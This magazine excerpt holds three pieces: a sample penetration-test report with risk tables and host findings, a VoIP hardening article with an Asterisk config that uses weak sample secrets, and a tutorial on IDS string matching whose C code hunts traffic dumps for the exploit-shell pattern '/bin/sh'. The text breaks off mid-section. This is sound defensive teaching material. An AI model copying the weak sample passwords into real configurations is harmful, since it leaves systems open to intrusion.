• Configure an ACL to restrict access. Apply the ACL to the relevant lines.
• Enforce message signing in the host’s configuration. On Windows, this is found in the Local
Security Policy. On Samba, the setting is called ‘server signing’.
• Upgrade the installation of PHP to a version of PHP that is currently supported.
• Install missing patches and adopt a patch management process to keep single or multiple servers
up to date (applicable to Microsoft Windows, Unix/Linux and other operating systems).
• A strong password should be configured for all users. We recommend that passwords:
• are at least eight characters in length;
• must include uppercase characters;
• must include lowercase characters;
• must include numbers;
• must include non-alphanumeric characters;
• must not contain the username/service name;
• must not contain the devices host name;
• must not contain device details (i.e. make, model);
• must not be dictionary based with character substitution (i.e. an “i” swapped for a “1”);
• must not contain character sequences (i.e. “qwerty”);
• must not be dictionary based with common characters appended (i.e. “1”).

20

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine

21

Figure 1. Sample password tested with Password Meter (http://www.passwordmeter.com)

5 Methodology
Vulnerability Assessment and Penetration Testing Methodology Simplified:

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
5.1 Planning
During planning we gather information from the given technical infrastructure design to learn about
targets. Then, we detect the live system its OS and determined the running services and its versions.

5.2 Exploitation
Utilizing the information gathered in Planning we start to find the vulnerability for each OS and service
that we discovered after that trying to exploit it.

5.3 Reporting
Based on the results from the first two steps, we start analyzing the results. Our risk rating is based
on this calculation:
Risk = Threat x Vulnerability x Impact

Table: Risk Analysis
Threat

Low

Medium

High

Critical

Vulnerability

L

M

H

C

L

M

H

C

L

M

H

C

L

M

H

C

Impact

Low

1

2

3

4

1

4

6

8

3

6

9

12

4

8

12

16

Medium

2

4

6

8

4

8

12

16

6

12

18

24

8

18

24

32

High

3

6

9

12

6

12

18

24

9

18

27*

36

12

24

36

48

Critical

4

8

12

16

8

16

24

32

12

24

36

48

16

32

48

64

Table: Rating Calculation
L

Low

1 – 16

M

Medium

17 – 32

H

High

33 – 48

C

Critical

49 – 64

After calculating the risk rating, we start writing the report on each risk and how to mitigate it.

22

* Based on our analysis, risks that falls under this category will be considered as High.

5.3.1 Risk Analysis
Host Type

Threat

Vulnerability

Impact

Risk

Networking Devices

3.0

2.0

2.0

12.0

Operating System

3.0

3.0

3.0

27.9

Average

3.0

2.5

2.5

19.5

Overall Risk = MEDIUM

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
6 Detailed Findings
6.1 Detailed Systems Information
6.1 Vulnerability Assessment (VA)
No.

IP Address

Description

Operating System

Vulnerable Exploited*

Risk Factor

1

192.168.1.1

Host A

Microsoft Windows Server 2008

Yes

No

Medium

2

192.168.1.2

Host B

Microsoft Windows Server 2008

Yes

No

Low

3

192.168.1.3

Host C

Microsoft Windows Server 2008

Yes

No

Low

4

192.168.1.4

Host D

Microsoft Windows Server 2008

Yes

No

Medium

5

192.168.1.5

Host E

Microsoft Windows Server 2008

Yes

No

Medium

6

192.168.1.6

Host F

Microsoft Windows Server 2008

Yes

No

Medium

7

192.168.1.7

Host G

Microsoft Windows Server 2008

Yes

No

Low

8

192.168.1.8

Host H

Microsoft Windows Server 2003

Yes

No

Low

9

192.168.1.9

Host I

Microsoft Windows Server 2003

Yes

No

Low

10

192.168.1.10 Host J

Microsoft Windows Server 2003

Yes

No

Medium

11

192.168.1.11 Host K

Microsoft Windows Server 2003

Yes

No

Low

12

192.168.1.12 Host L

Microsoft Windows Server 2003

Yes

No

Medium

13

192.168.1.13 Host M

Microsoft Windows Server 2003

Yes

No

Medium

14

192.168.1.14 Host N

Redhat Linux 2.4

Yes

No

Medium

15

192.168.1.15 Host O

Redhat Linux 2.4

Yes

No

Medium

16

192.168.1.16 Host P

Redhat Linux 2.4

Yes

No

Medium

17

192.168.1.17 Host Q

Redhat Linux 2.4

Yes

No

Medium

* Non-intrusive security assessment. Exploitation was not allowed.

6.2 Configuration Security Audit (CSA)
No. IP Address

Host Type

Description

Location

Risk
Factor

Inspection

1

192.168.1.1

Host A

Microsoft Windows Server 2008

Location A

Medium

Automated

2

192.168.1.2

Host B

Microsoft Windows Server 2008

Location A

Medium

Automated

3

192.168.1.3

Host C

Microsoft Windows Server 2008

Location A

Medium

Manual

4

192.168.1.4

Host D

Microsoft Windows Server 2008

Location A

Medium

Manual

5

192.168.1.5

Host E

Microsoft Windows Server 2008

Location A

Medium

Automated

6

192.168.1.6

Host F

Microsoft Windows Server 2008

Location A

Medium

Automated

7

192.168.1.7

Host G

Microsoft Windows Server 2008

Location A

Medium

Automated

8

192.168.1.8

Host H

Microsoft Windows Server 2003

Location B

Medium

Automated

9

192.168.1.9

Host I

Microsoft Windows Server 2003

Location B

Medium

Automated

10

192.168.1.10 Host J

Microsoft Windows Server 2003

Location B

Medium

Automated

11

192.168.1.11 Host K

Microsoft Windows Server 2003

Location B

Medium

Automated

12

192.168.1.12 Host L

Microsoft Windows Server 2003

Location B

Medium

Automated

13

192.168.1.13 Host M

Microsoft Windows Server 2003

Location B

Medium

Automated

14

192.168.1.14 Host N

Redhat Linux 2.4

Location C

Medium

Automated

15

192.168.1.15 Host O

Redhat Linux 2.4

Location C

Medium

Automated

16

192.168.1.16 Host P

Redhat Linux 2.4

Location C

Medium

Automated

17

192.168.1.17 Host Q

Redhat Linux 2.4

Location C

Medium

Automated

23

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
6.3 Overall Risks
No. IP Address

Description

Operating System

VA

CSA

Overall

1

192.168.1.1

Host A

Microsoft Windows Server 2008

Medium

Medium

Medium

2

192.168.1.2

Host B

Microsoft Windows Server 2008

Low

Medium

Medium

3

192.168.1.3

Host C

Microsoft Windows Server 2008

Low

Medium

Medium

4

192.168.1.4

Host D

Microsoft Windows Server 2008

Medium

Medium

Medium

5

192.168.1.5

Host E

Microsoft Windows Server 2008

-

Medium

Medium

6

192.168.1.6

Host F

Microsoft Windows Server 2008

Medium

Medium

Medium

7

192.168.1.7

Host G

Microsoft Windows Server 2008

Low

Medium

Medium

8

192.168.1.8

Host H

Microsoft Windows Server 2003

Low

Medium

Medium

9

192.168.1.9

Host I

Microsoft Windows Server 2003

Low

Medium

Medium

10

192.168.1.10 Host J

Microsoft Windows Server 2003

Medium

Medium

Medium

11

192.168.1.11 Host K

Microsoft Windows Server 2003

Low

Medium

Medium

12

192.168.1.12 Host L

Microsoft Windows Server 2003

Medium

-

Medium

13

192.168.1.13 Host M

Microsoft Windows Server 2003

Medium

-

Medium

14

192.168.1.14 Host N

Redhat Linux 2.4

Medium

-

Medium

15

192.168.1.15 Host O

Redhat Linux 2.4

Medium

-

Medium

16

192.168.1.16 Host P

Redhat Linux 2.4

Medium

-

Medium

17

192.168.1.17 Host Q

Redhat Linux 2.4

Medium

-

Medium

* High vulnerabilities found in the Initial Phase of the assessment have successfully remediated. Follow-up and continuous
monitoring should be done for Medium and Low level vulnerabilities (Risk Treatment Plan/RTP).

24

6.3 Passwords/Keys Found
Multiple weak passwords/keys found.
No.

Type

Service

1.

Password

Enable

2.

Password

Users

3.

Community

SNMP

4.

Password

Line

Common weaknesses found.

PenTest Magazine |

No.

Description

1.

The password too short

2.

The password too short and did not meet the minimum complexity requirements

3.

The password did not meet the minimum complexity requirements

Penetration Testing in Practice | PenTest Magazine
6.2 Vulnerable Hosts
6.2.1 Host 192.168.1.1
Host IP:

192.168.1.1

Description:

Host A

Operating System:

Microsoft Windows Server 2008

Vulnerable:

Yes

Exploited:

No

Vulnerability Assessment
High

Medium

Low

Risk Factor:

0

0

1

Overall Risk:

Low
Configuration Security Audit
High

Medium

Low

Risk Factor:

0

4

8

Overall Risk:

Medium
MEDIUM

6.2.2 Host 192.168.1.2
Host IP:

192.168.1.2

Description:

Host B

Operating System:

Microsoft Windows Server 2008

Vulnerable:

Yes

Exploited:

No

Vulnerability Assessment
High

Medium

Low

Risk Factor:

0

0

1

Overall Risk:

Low
Configuration Security Audit
High

Medium

Low

Risk Factor:

0

5

10

Overall Risk:

Medium

25

MEDIUM

7 Conclusion
Most of the vulnerabilities found in the Initial Phase of the assessment have successfully remediated.
Vulnerabilities that could not be remediated immediately due to some technical and operational
reasons (eq. needed for remote administration and troubleshooting) still introduce risks therefor
compensating controls must be applied and implemented to reduce or mitigate risks associated with
vulnerabilities being exposed.
Compensating security controls are controls that provide an alternative to normal controls that
cannot be used for some reason. For instance, a certain server cannot have antivirus software
installed because it interferes with a critical application. A compensating control would be to increase
monitoring of that server or isolate that server on its own network segment.
For systems to remain secure, security posture must be evaluated and improved continuously.
Establishing the organizational structure that will support these ongoing improvements is essential
in order to maintain control of corporate information systems.
We conclude that the overall security has been improved. We hope that ACME’s network infrastructure
will be reviewed at least every 6 (six) months or annually depending on the amount of changes to the
source code.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
8 References
Appendix A – Vulnerability Assessment Summary

Attached Vulnerability Assessment summary.
Appendix B – Configuration Security Audit Summary

Attached Vulnerability Assessment summary.
Appendix C – Nmap Scanning Report

Attached Nmap scan reports.
Appendix D – Nessus Vulnerability Scanning Report

Attached Nessus scan reports.
Appendix E – Nipper Security Audit Report

Attached Nessus scan reports.

26

PenTest Magazine |

May 31 - June 3, 2015
Marriott Resort at Grande Dunes
Myrtle Beach, SC USA
The international meeting place for IT security
professionals in the USA
Since 1998

Register Now at
www.TechnoSecurity.us
with promo code PTE15 for a
20% discount on conference rates!

Comexposium IT & Digital Security and Mobility Trade Shows & Events:

an event by

PenTest Magazine | Penetration Testing in Practice

Hardening VoIP protocols

S

ecuring VoIP networks is not an easy task at all, but it is very important. In this chapter the
author will write about a really important process which should be always considered either
on a VoIP system and any time you would protect your information, this process is called
Hardening.
Usually, in the world of Information Technology, people think about security as it was only regarding
files which resides in mass memories. But, also the speach which pass through a VoIP network has
the same value: in the previous chapters, we have already seen how the authoritative information
could be listened during a running telephone call and used by malicious people in order to cheat
the users. We have also seen how VoIP protocols have several security problems and for each
of that the author has suggested some countermeasure. In this chapter the author will threat all these
security aspect in a deeply way.
At the beginning, VoIP was used by the company just in order to realize internal telephony calls.
In this way the security aspects of VoIP networks was been avoided for several years. Hence, VoIP
systems was been hardening just in the last years and not always in the correct ways. This is due
to the fact that VoIP hardening is not an easy task and it involves embedded devices which are not
cheaper. Furthermore, vendors initially have not incorporated their security features in an easy and
interoperable way and the VoIP consumers have suffered about it.

28

In this chapter the reader will learn the guide lines used by the best expert in VoIP security.
These best practice should be applied in order to avoid the attacks reported in the previous chapters.

Security Socket Layer (SSL) and SIP
As already reported several times in this workshop, SIP is a cleartext protocol which could be both
registred and tampered by attackers that stays on the VoIP network as passive listener. SIP uses just
an authentication method called message digest, since it is based on an ashing algorithm it suffers
of dictionary attacks. This kind of attacks are performed by mean of the rainbow tables, that usually
are employed offline. The rainbow tables contain a lot of already hashed words, the attacker try to use
these ashed words until one of that does not match with the authentication word. Since most SIP User
Agents Clients (UACs) use four digit codes for passwords (usually the last four digits of the phone’s
extension), this method could be used against the SIP authentication process.
In order to avoid this lack of security, in the authentication process SIP uses another protocol
called SSL which is also used by several other different network protocols. For instance, HTTP is
usually used with SSL in order to get a secure connection by mean of an internet browser, this kind
of connection is called HTTPS. Using SSL with SIP is quite similar to use SSL with HTTP. When SIP
and SSL are used together, they are called SIP over SSL (SIPS). With SIPS you can encrypt the
session protocol from a UAC either to a SIP Proxy or a PBX. Then, the PBX will be able to use again
SSL with the next hop, in this way each hop will be encrypted and the end-to-end conversation will
be completly encrypted. In order to secure SIP with SSL, both a certificate exchanging and a session
keys exchangig is required between two network devices. These devices have to provide the SSL
support with a certificate chain process.
In the following the author will report the steps required by two network device, which are interested
in a secure network connection establishment. In particular they’re the steps needed by two network
devices in order to set up an SIPS connection:

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
• at the beginning, when an user needs to set up a phone call, his UAC will send to the SIP server
(which could be either a proxy server or a PBX) asking for a SSL session;
• the SIP server will reply with its public certificate;
• the SIP UAC validates the public certificate belonging to the SIP server. In order to accomplish this
process it uses its root chain;
• the SIP UAC and the SIP server will exchange their session keys. They’ll be used in order to
encrypt and decrypt data in the whole session;
• the SIP server will contact the next hop device (it could be either another SIP server or a UAC),
in order to negotiate another SSL session.
Figure 1 reports this steps by mean of a graphical scheme.

Figure 1. SIPS handshake.

There’s an important difference between HTTP and SIP, while the first uses of a web browser the latter
use either an phone or a softphone. This implies a standardization problem, since there’s an higher
variety of telephone device compared to web browsers. An high variety means that there are a lot
of VoIP vendors which unfortunally could develop the handshake process previously reported
in different ways. For instance, CISCO and Avaya, two of the major brands in the VoIP systems,
provide this handshake in a rather differently way.

29

Secure RTP
How to hardening SIP by mean of the SSL protection was reported by the author in the previous
section. But in this way, the multimedia part of the call which is carryed out by mean of RTP packets,
is again unprotected. Hence, a SIP infrastructure which uses SSL with RTP in clear, permits the
attackers both to eavesdrop call (gathering confidential information) and inject vocal signal into the
calls. In practice, several of the attacks reported by the previous chapters are again possible.
Request For Comment (RFC) number 3711 defines Secure RTP (SRTP) as a protocol which is able
to add encryption, confidentiality, and integrity to RTP and RTCP. SRTP can encrypt the payload field
belonging to an RTP packet. The information belonging to the RTP header remains in clear, in this way
once an encrypted RTP packet will be received by a router, it can read this information in order to
forward correctly the packet.
The reader can understand how in this way the RTP header could be tampered by any attacker.
Actually the RTP header is protected by SRTP, since it provides authentication and integrity checking
for the RTP header information by mean of a keyed–Hash Message Authentication Code algorithm
with Secure Hash version 1 function. This binomial takes the acronymous name of HMAC-SHA1.
Since, SRTP does not provide the encryption of the headers but just an anti-tampering checksum,
an SRTP packet is very similar to an RTP packet.

Advanced Encryption Standard (AES)
AES is the encryption method used by SRTP in order to provide confidentialy, since it supplies
the payload encryption. AES can be used with two cipher modes:
• Segmented Integer Counter Mode (SICM) – the default method
• F8 Mode

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Another cipher method, called NULL cipher, could be used with AES. Since, it does not provide
encryption to the multimedia signal, it never should be implemented.

HMAC-SHA1
As just reported, SRTP was also designed in order to provide message integrity to the header of the
RTP packets. Hence, in addition to AES, SRTP uses HMAC method for this features.
When HMAC is used with the SHA-1 hash function, it is called HMAC-SHA1. HMAC-SHA1 is an
hashing method used to verify both the message integrity and the authenticity of the message. With
this method, an HMAC-SHA1 hash number will be added at the end of each packet in order to provide
the integrity between two VoIP devices. The addition of the integrity feature will ensure that the RTP
packets are not susceptible to any replay attack. Plese, note that a replay attack could be performed
even when encryption is applied.

30

Figure 2. SRTP packet characteristics.

Auth Tag
In the following the author will report the steps involved by two devices which are using SRTP. The
example describes the communication between two UACs having extensions equal to 1000 and
2000. We are supposing that they’re using SRTP having payloads encryption and RTP headers
authentication:
• 1000 requests the session keys from the Asterisk PBX
• Since Asterisk has the Master Key (MK), it opens two sessions the fisrt one with 1000 and
the latter with 2000.
• Now the key negotiation phase starts, the MK is passed in the header of SIP and the actual
Session Keys (SK) are generated later on the UACs by mean of AES.
• Once received the MK, both the UACs create the SK for their communication.
• Once the SK are created, the SRTP communication can start.
As already reported, the standard implementation of SRTP depends by the network platform.
Once again the most famous plaftorms are:
• Asterisk
• Cisco
• Avaya

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
Method of Key Distribution
SIP must to be used with an SSL tunnel in order to avoid that SRTP makes the key exchange process
in clear. Without an SSL tunnel, SRTP master key can be captured from SIP packets which run in
clear through the network and the attacker can decrypt the SRTP packets captured. Hence, whether
SIP was used whitout SSL, the security purpose of SRTP is surely reduced.

ZRTP
An extension of RTP which applies Diffie-Hellman (DH) key agreement for SRTP packets is
called ZRTP. ZRTP provides the key management services during the setup process belonging
to a telephone call. It does not work at the session layer such as a common signalling protocols,
but it works on SRTP.
ZRTP creates a shared secret, which will be used in order to generate keys and a salt for the
sessions enrypted with SRTP. It does neither require Private Shared Secrets (PSK) nor a Public Key
Infrastructure (PKI).
In order to avoid MITM attacks between the UACs, ZRTP uses a Short Authentication String (SAS)
which is an hash value of the DH keys. The SAS will be communicated to both UACs using ZRTP.
Each UAC will verify the SAS value to ensure that the hashes match and it means that the keys are
not tampered.

Zfone
A VoIP client called Zfone (www.zfoneproject.com/) could be adopted in order to provide an
implementation of ZRTP, which gives security to the RTP communication. Zfone are used with any VoIP
signaling protocols (for instance, both SIP or H.323). Zfone could be used with any softphone that
does not use RTP encryption.
Zfone must be installed on both UACs. Zfone monitors the IP stack belonging to the OS on which
the softphone is installed, by expecting an incoming VoIP call. Once a VoIP incoming call has been
intercepted by Zfone, it encrypts the media communication. When either a non-SRTP or non-ZRTP
device is establishing the phone call, Zfone detects that the call is beginning and then starts a key
agreement between the local UAC and the remote UAC. Once the key agreement was ended, Zfone
will encrypt all RTP packets between the two UACs.

31

In order to use Zfone between two UACs which do not support natively media encryption (such as
both ZoIPer and X-Lite softphones belonging to our Workshop testplant), the following instructions
could be executed (please, notice that we are configurating two new UACs, respectively called 4000
and 5000, on the PBX belonging to the Workshop testplant, instead of modify those already existing):
• You have to edit the sip.conf on Asterisk PBX, by adding the following lines at the end of file:
[4000]
type=friend
username=4000
host=dynamic
secret=4000pwd
context=test
[5000]
type=friend
username=5000
host=dynamic
secret=5000pwd
context=test

• In the extensions.conf file, you have to add the following lines in the [test] realm:
[test]
exten => 4000,Dial,(SIP/4000)
exten => 5000,Dial,(SIP/5000)

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
• You have to download (please, follow the link above reported), install and run Zfone on both UACs
devices.
• You have to call the extension 4000 from the UAC having extension equal to 5000, once the
softphone has made the call Zfone will intercept the communication and encrypt the media
communication using ZRTP. Whether the call is secure, Zfone will show Secure in green.
Whether the call is not secure, Zfone will show Not Secure in red.

Firewalls
Configuring correctly a firewall in VoIP networks is not an easy task at all. Since in a VoIP system the
UDP ports up the 1024 should be allowed. Even though some modifies was recently accomplished
on VoIP devices (by reducing the number of ports needed), several VoIP networks also use an high
number of UDP ports on the network and morever many of this ports are not static. Dynamic ports
are usually used with RTP and both the most important signalling protocols (SIP and H.323) use RTP
for media transfer. Living together a firewall is an hard task for signalling packets, since RTP uses
dynamic ports by default by limiting the capabilities of a firewall to manage the exact port number.

Network Address Translation (NAT)
Moreover when a VoIP device uses NAT, it can have problems since sometimes the real source and
destination values are reported into the UDP payload. Hence, a classic standard firewall does not
have the capability to see the correct endpoint. In this kind of implementation, you can set up a VoIP
call by mean of both signalling protocols, but the RTP packets will find unlikely the destination.
Currently, the VoIP vendors have adopted static media ports for RTP data: the RTP stream between
the UACs are limited to few ports, in this way they reduces the number of open ports by the firewall
for the RTP.

Session Border Controllers (SBCs)
SBCs are devices developed in order to carry out both telephone signaling and media communication
by mean of NAT. Usually, in a common scenario of a VoIP network, these devices stays on the external
network, outside the firewall. SBC communicate to the SIP PBX (or the Gatekeeper in an H.323
scenario) on the internal network and inside the firewall. The firewall is configurated in order to allow
only the communications between the PBX and the SBC on the external network. Hence, the internal
PBX can communicate with the SBC which goes out in order to make a connection behalf of the
internal UACs with remote devices. Figure 2 reports this network scenario.

32

Figure 3. VoIP network example

by Mirko Raimondi

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine

Signature-based IDS
Algorithms
S

ignature-based approach comes from first implementations of intrusion detection systems and
still is in use and actual.

First of all, imagine you have to somehow detect an inappropriate use of network or anomalous
activity, what will you do? This implies that, if we have to detect something, we must then define the
things we should detect. And what comes to mind here: if we know how attacks look like, behave
or what they do to network, we can inspect our traffic for such activities.
But how can we search traffic if attack contains several steps or is more complex? What should we
search for? And how?
The main idea of signature-based detection approach is to extract short-length pattern from each
known attack and then inspect all network activity for these patterns presence.
Pretty simple at first look.
But this simple idea faces several difficulties when it comes to implementation.

33

Let’s walk through implementations of several methods used in current IDS.
As an example, assume we will detect activity involving /bin/sh. It is common for an attacker
to spawn shell in exploit. For example, in buffer overflow exploits.
So, let’s detect it!
First of all, we need data to inspect.
There’s a great library for this – LibPCAP, and utility based on it called TCPDump. (http://www.
tcpdump.org)
TCPDump is able to (what is it able to do) any amount of traffic to your hard drive for further
analysis – which suites our needs at this step completely.
Here you should keep in mind that it really doesn’t matter where data for analysis comes from.
You can get traffic dumps from anywhere you want but in this case you should consider changing
code to match your dump format. However, at this first step we will search through unsorted data of
any format as you’ll see.
Therefore, download TCPDump and try it to ensure it is able to get traffic from your network
interface. It is not necessary here to switch your network adapter to “promiscuous mode” because
we will send packets directly to host on which TCPDump is and it will be visible to it anyway.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice

All works fine. Great!
TCPDump can write output in binary PCAP format. But for now we will get traffic dumps as text
for simplicity.
If you want to enhance code from here that’s the first point – utilize libpcap library in your code
to parse PCAP files and use information from them (see http://www.tcpdump.org/pcap.html).
For now, let’s make dump of some traffic in a text file.

Now we have some network traffic in text file.
Next step is to decide how we can efficiently look for our exploit attack pattern (/bin/sh) in it.

Naive string search
What comes to mind first when you need to search for substring in given text? The simpliest method,
of course, it to compare substring to string symbol by symbol. This is called a naive search algorithm.
It starts with looking at a string moving by one symbol at a time.

34

All substrings of text is compared to pattern sequentially as long as first pattern occurrence is found
or the end of text is reached.
It can be easily implemented in C language.
1. #include<stdio.h>
2. #include<string.h>
3.  
4. voidnaivesearch(char*pattern, char*text)
5. {
6. intpatternLength =strlen(pattern);
7. inttextLength =strlen(text);
8. /* sliding pattern[] one by one */
9. for(inti =0; i <=(textLength -patternLength); i++) {
10. intj;
11.  
12. /* check for pattern */
13. for(j =0; j <patternLength; j++) {
14. if(text[i+j] !=pattern[j])
15. break;
16. }
17. if(j ==patternLength) {
18. printf(“Pattern found at index %d \n“, i);
19. }
20. }
21. }
22.  

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
23.  
24. intmain()
25. {
26. char*txt =”AABAACAADAABAAABAA”;
27. char*p =”AABA”;
28. naivesearch(p, txt);
29. getchar();
30. return0;
31. }

Referring to implementation of this naive matcher, we see that first for-loop (in line 10) is executed
at most textLength – patternLength +1 times, and the the inner for-loop is executed at most
patternLength times.
Therefore, the running time of the algorithm is
O((textLength — patternLength+1)*patternLength)

which is
O(textLength *patternLength)

Hence, in the worst case, when the length of the pattern, patternLength are roughly equal,
this algorithm runs in the quadratic time.
Now we can test our implementation to find pattern /bin/sh in network traffic dump.
Modify the code so we will get our dump text as txt variable, and p variable set to /bin/sh.
1. #include <stdio.h>
2. #include <time.h>
3. #include <stdlib.h>
4. #include <string.h>
5. #include <ctype.h>
6.  
7. voidnaivesearch(char*pattern, char*text)
8. {
9. intpatternLength =strlen(pattern);
10. inttextLength =strlen(text);
11. /* sliding pattern[] one by one */
12. for(inti =0; i <=(textLength -patternLength); i++) {
13. intj;
14. /* check for pattern */
15. for(j =0; j <patternLength; j++) {
16. if(text[i+j] !=pattern[j])
17. break;
18. }
19. if(j ==patternLength) {
20. printf(“Pattern found at index %d \n“, i);
21. }
22. }
23. }
24.  
25. intmain(intargc, char*argv[])
26. {
27. FILE*fp;
28. longlSize;
29. char*buffer;
30. fp =fopen( argv[1], “r”);
31. if( !fp ) {
32. perror( argv[1] );

35

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
33. exit( 1);
34. }
35.  
36. fseek( fp , 0L, SEEK _ END);
37. lSize =ftell( fp );
38. rewind( fp );
39.  
40. /* allocate memory for entire content */
41. buffer =(char*) malloc(lSize +1);
42. if( !buffer ) {
43. fclose(fp);
44. fputs(“memory alloc fail “, stderr);
45. exit(1);
46. }
47.  
48. /* copy the file into the buffer */
49. fread( buffer , lSize, 1, fp);
50. /* now we have file in our buffer */
51. char*p =”/bin/sh”;
52. time _ tmytime;
53. mytime =time(NULL);
54. printf(ctime(&mytime));
55. naivesearch(p, buffer);
56. time _ tmytime2;
57. mytime2 =time(NULL);
58. printf(ctime(&mytime2));
59. free(buffer);
60. getchar();
61. return0;
62. }

36

Run it on several files to test speed. Try to feed it with large dump file to timings.
Next, we will try to implement more complex algorithms of searching (and you ‘ll see naive approach
is not the worst in many situations, surprisingly). 

Aho-Corasick string matching algorithm
Aho-Corasick string matching algorithm is a searching algorithm invented by Alfred V. Aho and
Margaret J. Corasick. This algorithm is a variant of dictionary matching algorithm that locates items
of a set of strings in an input text.
In other words, it can match a set of your patterns on given text and all matches will be found.
To implement this approach to searching patterns, you have to build a finite state machine (pattern
matching machine – like authors said) that will use trie (http://en.wikipedia.org/wiki/Trie) and links
between internal nodes.
To build needed finite state machine you have your patterns set predefined and unchanged during
search routine.
To each pattern in state machine there will be a path in states, and the main rule is that there should
be no duplicate paths.
Let’s see an example to make it clear.
We will consider a dictionary consisting of the following words:
{a,ab,bab,bc,bca,c,caa}

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
It is a dictionary of patterns we want to search for.
So, here is the state graph:

I used visualization app from: http://blog.ivank.net/aho-corasick-algorithm-in-as3.html.
You can go there and play with it to understand behavior better, is it an ActionScript 3.0
implementation with visualization of each step that state machine do in search process.
I’m not pasting implementation source code here, because it quite long (while simple).
Instead of that you can grab code here http://multifast.sourceforge.net.
There are many implementations of Aho-Corasick algorithm on the net, so you are free to choose.
But I suggest you to review source code first, because there are plenty of wrong implementations that
will ignore matches in certain cases.
That mistake is done because of wrong building of state machine which leads to path coverage
of pattern’s dictionary and does not include all paths.

37

So, assuming you’ve downloaded Multifast code, you have to compile it.
First, you need to compile ahocorasick library used in application. This library contains
implementation of the entire algorithm.
To do this, simply go to ahocorasick folder and make it.
This certain implement relies on File Tree Walker (includes ftw.h) so it’ll compile successfully only
on unix systems where ftw.h is present.
For Windows test, just google “Aho-Corasick implementation in C for Windows” – there are plenty
of results.
The library provides the following functions:
1.
2.
3.
4.
5.
6.
7.
8.
9.

AC_AUTOMATA_t*ac_automata_init (void);
AC_STATUS_t ac_automata_add (AC_AUTOMATA_t *thiz, AC_PATTERN_t *pat);
voidac_automata_finalizeAC_AUTOMATA_t *thiz);
intac_automata_search AC_AUTOMATA_t *thiz, AC_TEXT_t *txt, int*keep,
AC_MATCH_CALBACK_f *callback, void*param);
voidac_automata_settext (AC_AUTOMATA_t *thiz, AC_TEXT_t *text, intkeep);
AC_MATCH_t*ac_automata_findnext(AC_AUTOMATA_t *thiz);
voidac_automata_release (AC_AUTOMATA_t *thiz);
voidac_automata_display (AC_AUTOMATA_t *thiz, charrepcast);

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
And the following data types:
AC _ AUTOMATA _ t

The main automata structure that contains all nodes and edges with all pattern data.
AC _ PATTERN _ t

The pattern data type
AC _ TEXT _ t

The input text data type
AC _ MATCH _ t

The match data type that contains information about matched patterns
AC_MATCH_CALBACK_f:

A function of type int (*)(AC _ MATCH _ t *, void *) that is defined by the user. This function will be
called back by the library search internal whenever a match is found.
Next, compile the whole application (with simple make command in current directory)
Usage is pretty simple:
multifast -P pattern_file [-ndxrpfivh] file1 [file2 …]

Where, according to documentation:
-P pattern_file

Specifies pattern file name
-n

Show number of match per file

38

-d

Show start position (decimal)
-x

Show start position (hex)
-r

Show representative string of the pattern
-p

Show the matched pattern
-f

Find first match per file only
-i

Search case insensitive
-v

Show verbose output
-h

Show help
This application can take several files as an input, also it is able to work with standard Linux output.
Another thing to mention here is pattern format used by developers.
AX (REP) {PAT}

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
AX part can be is “a” or “x” only. It determines whether to treat pattern as an ASCII (a) or hexadecimal
(x). This part is mandatory. the interpretation of the 3rd part, PAT, depends on the value of AX.
The second part (REP) defines a meaningful representative for the pattern. for hex patterns or
large patterns it helps to improve the intelligibility of output. This part is optional. For patterns without
representative the program will assign an automatic representative. The second part is enclosed by
parenthesis and only can take 0-9, a-zA-Z and _ (no space allowed).
The third part is the main part which defines the string of character or bytes. the definition of the
string could be defined in two ways: ASCII or HEX. this is determined by the first part (AX).
For ASCII mode you must put your string inside brackets. If your string contains brackets you must
escape it. e.g. {abc\{dd\}g}.
You would also escape backslashes too. e.g. {dro\\des} is equal to dro\des. be careful about initial
and final spaces between your string and the brackets. They are taken into account. e.g. { remmg}
is equal to ” remmg” not “remmg”.
In ASCII mode everything you put inside the brackets (including line breaks) will be taken into account.
For HEX mode, only hex digits (0-9, a-fA-F) are allowed inside the brackets. The number of digits
inside the bracket must be even.
No other constraints exists. So there could be spaces between digits.
And several rules for pattern format:





You can define a pattern in several line
Multiple patterns could be defined in one line
You can add comment to pattern file using #
You can not put comment inside {} or ()

39

Here is example pattern file looks like
1. # comments
2. a (hooloo) {I am filling lucky}
3. a {disclosed }
4. x (maloos) {561023Ef EB 1D e9 09d3 7c a4}
5. #
6. # comments
7. a (firy) {from \{23\} to }
8. x {20b3 7e 0a 409779ff ac 2d 842c 0c 3d 608d} # comments
9. x(popy) {505542516c c c 0a}
10. x (wood) {000000fe002345 e3}

See more examples of pattern file in multifast-code/multifast/test folder.
Now we should make our pattern file to make the same test we do with naive algorithm.
I’m leaving this as a practice for you.
Play around with it to results.
Moving on to more sophisticated algorithms.

KMP (Knuth-Morris-Pratt) Pattern Searching
The Naive pattern searching algorithm doesn’t work well in cases where we see many matching
characters followed by a mismatching character.

 

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
The following are some of examples.
text[] = “AAAAAAAAAAAAAAAAAB”
pattern[] = “AAAAB”
 
text[] = “ABABABCABABABCABABABC”
pattern[] = “ABABAC” (not a worst case, but a bad case for Naive)

The KMP matching algorithm uses degenerating property (pattern having same sub-patterns
appearing more than once in the pattern) of the pattern and improves the worst case complexity
to O(n).
The basic idea behind KMP’s algorithm is: whenever we detect a mismatch (after some matches),
we already know some of the characters in the text (since they matched the pattern characters prior
to the mismatch). We take advantage of this information to avoid matching the characters that we
know will anyway match.
KMP algorithm preprocesses the pattern pattern[] and builds an array longest_proper_prefix[]
of same size as pattern.
For each subpattern pattern[0…i] where i = 0 to m-1, longest_proper_prefix[i] is length of the
maximum matching proper prefix which is also a suffix of the subpattern pattern[0..i].
So,
